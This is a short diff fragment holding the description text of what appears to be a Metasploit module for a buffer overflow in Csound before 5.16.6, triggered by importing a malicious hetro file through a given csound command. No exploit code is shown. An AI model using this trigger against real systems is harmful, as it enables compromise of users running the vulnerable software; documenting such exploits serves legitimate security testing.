+					This module exploits a buffer overflow in Csound before 5.16.6.
+				The overflow occurs when trying to import a malicious hetro file
+				from tabular format.
+				In order to achieve exploitation the user should import the malicious
+				file through csound with a command like "csound -U het_import msf.csd file.het".
+				This exploit doesn't work if the "het_import" command is used directly
+				to convert the file.
